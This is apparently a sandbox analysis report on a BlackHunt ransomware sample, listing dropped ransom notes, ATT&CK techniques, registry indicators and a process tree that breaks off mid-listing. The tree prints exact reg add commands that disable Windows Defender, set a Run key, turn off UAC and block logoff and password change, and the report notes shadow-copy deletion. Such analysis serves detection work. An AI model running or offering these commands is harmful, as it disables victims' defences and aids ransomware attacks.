File created	C:\Program Files\dotnet\host\#BlackHunt_ReadMe.hta	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jce.jar	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\US_export_policy.jar	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\Java\jdk-1.8\legal\jdk\#BlackHunt_ReadMe.hta	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\#BlackHunt_ReadMe.txt	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\#BlackHunt_Private.key	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\#BlackHunt_Private.key	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_ReadMe.txt	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\Java\jre-1.8\legal\jdk\#BlackHunt_ReadMe.hta	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hu.txt	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kk.txt	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ja\#BlackHunt_ReadMe.txt	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ca.txt	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\access-bridge-64.jar	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_ReadMe.txt	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\public_suffix_list.dat	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\#BlackHunt_ReadMe.hta	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\he\LC_MESSAGES\#BlackHunt_ReadMe.txt	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\he\#BlackHunt_ReadMe.hta	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ckb\#BlackHunt_ReadMe.hta	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\7-Zip\Lang\de.txt	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pa-in.txt	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\applet\#BlackHunt_ReadMe.txt	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fontconfig.bfc	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\vlc.mo	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#BlackHunt_ReadMe.hta	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\Google\#BlackHunt_ReadMe.hta	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\Java\jre-1.8\legal\jdk\#BlackHunt_ReadMe.txt	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\#BlackHunt_ReadMe.txt	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mai\LC_MESSAGES\#BlackHunt_ReadMe.txt	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\directshow.md	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\#BlackHunt_ReadMe.hta	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_LinkNoDrop32x32.gif	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\santuario.md	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File opened for modification	C:\Program Files\SetPing.cmd	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\#BlackHunt_ReadMe.txt	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_Private.key	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\Java\#BlackHunt_Private.key	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\hrtfs\#BlackHunt_Private.key	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\#BlackHunt_ReadMe.hta	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\#BlackHunt_ReadMe.hta	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2972	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4724	vssadmin.exe
1900	vssadmin.exe
1252	vssadmin.exe
5408	vssadmin.exe
2332	vssadmin.exe
4156	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
820	taskkill.exe

Modifies registry class 9 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\Local Settings	cmd.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4456	PING.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
Token: SeRestorePrivilege	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
Token: SeBackupPrivilege	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
Token: SeTakeOwnershipPrivilege	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
Token: SeAuditPrivilege	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
Token: SeSecurityPrivilege	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
Token: SeIncBasePriorityPrivilege	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
Token: SeBackupPrivilege	2972	vssvc.exe
Token: SeRestorePrivilege	2972	vssvc.exe
Token: SeAuditPrivilege	2972	vssvc.exe
Token: SeBackupPrivilege	1664	wbengine.exe
Token: SeRestorePrivilege	1664	wbengine.exe
Token: SeSecurityPrivilege	1664	wbengine.exe
Token: SeSecurityPrivilege	5664	wevtutil.exe
Token: SeBackupPrivilege	5664	wevtutil.exe
Token: SeSecurityPrivilege	3984	wevtutil.exe
Token: SeBackupPrivilege	3984	wevtutil.exe
Token: SeSecurityPrivilege	5536	wevtutil.exe
Token: SeBackupPrivilege	5536	wevtutil.exe
Token: SeSecurityPrivilege	5612	wevtutil.exe
Token: SeBackupPrivilege	5612	wevtutil.exe
Token: SeSecurityPrivilege	1924	wevtutil.exe
Token: SeBackupPrivilege	1924	wevtutil.exe
Token: SeDebugPrivilege	820	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1492 wrote to memory of 4220	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	96
PID 1492 wrote to memory of 4220	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	96
PID 1492 wrote to memory of 1092	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	98
PID 1492 wrote to memory of 1092	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	98
PID 1492 wrote to memory of 1884	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	100
PID 1492 wrote to memory of 1884	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	100
PID 1492 wrote to memory of 824	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	102
PID 1492 wrote to memory of 824	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	102
PID 1492 wrote to memory of 2432	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	104
PID 1492 wrote to memory of 2432	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	104
PID 1884 wrote to memory of 1124	1884	cmd.exe	107
PID 1884 wrote to memory of 1124	1884	cmd.exe	107
PID 2432 wrote to memory of 2268	2432	cmd.exe	106
PID 2432 wrote to memory of 2268	2432	cmd.exe	106
PID 4220 wrote to memory of 5008	4220	cmd.exe	108
PID 4220 wrote to memory of 5008	4220	cmd.exe	108
PID 824 wrote to memory of 2844	824	cmd.exe	110
PID 824 wrote to memory of 2844	824	cmd.exe	110
PID 1492 wrote to memory of 4896	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	111
PID 1492 wrote to memory of 4896	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	111
PID 1092 wrote to memory of 4868	1092	Process not Found	109
PID 1092 wrote to memory of 4868	1092	Process not Found	109
PID 1492 wrote to memory of 3588	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	113
PID 1492 wrote to memory of 3588	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	113
PID 1492 wrote to memory of 548	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	115
PID 1492 wrote to memory of 548	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	115
PID 1492 wrote to memory of 1208	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	197
PID 1492 wrote to memory of 1208	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	197
PID 1492 wrote to memory of 3060	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	118
PID 1492 wrote to memory of 3060	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	118
PID 1492 wrote to memory of 224	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	121
PID 1492 wrote to memory of 224	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	121
PID 4896 wrote to memory of 2928	4896	cmd.exe	183
PID 4896 wrote to memory of 2928	4896	cmd.exe	183
PID 3588 wrote to memory of 3704	3588	cmd.exe	184
PID 3588 wrote to memory of 3704	3588	cmd.exe	184
PID 1492 wrote to memory of 1248	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	127
PID 1492 wrote to memory of 1248	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	127
PID 548 wrote to memory of 4172	548	cmd.exe	125
PID 548 wrote to memory of 4172	548	cmd.exe	125
PID 1208 wrote to memory of 3432	1208	cmd.exe	128
PID 1208 wrote to memory of 3432	1208	cmd.exe	128
PID 1492 wrote to memory of 2944	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	129
PID 1492 wrote to memory of 2944	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	129
PID 1492 wrote to memory of 512	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	132
PID 1492 wrote to memory of 512	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	132
PID 1492 wrote to memory of 3336	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	130
PID 1492 wrote to memory of 3336	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	130
PID 1492 wrote to memory of 556	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	134
PID 1492 wrote to memory of 556	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	134
PID 1492 wrote to memory of 4268	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	137
PID 1492 wrote to memory of 4268	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	137
PID 3060 wrote to memory of 3748	3060	cmd.exe	138
PID 3060 wrote to memory of 3748	3060	cmd.exe	138
PID 1492 wrote to memory of 2384	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	140
PID 1492 wrote to memory of 2384	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	140
PID 1492 wrote to memory of 1328	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	141
PID 1492 wrote to memory of 1328	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	141
PID 1492 wrote to memory of 1104	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	144
PID 1492 wrote to memory of 1104	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	144
PID 1492 wrote to memory of 1700	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	146
PID 1492 wrote to memory of 1700	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	146
PID 1492 wrote to memory of 3360	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	149
PID 1492 wrote to memory of 3360	1492	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe	149

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe
"C:\Users\Admin\AppData\Local\Temp\18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4220
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:5008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:1092
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2432
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    PID:3704
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:4172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3060
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:1208
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:3432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:224
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1248
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2944
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:3796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3336
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:512
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:3800
- C:\Windows\System32\cmd.exe
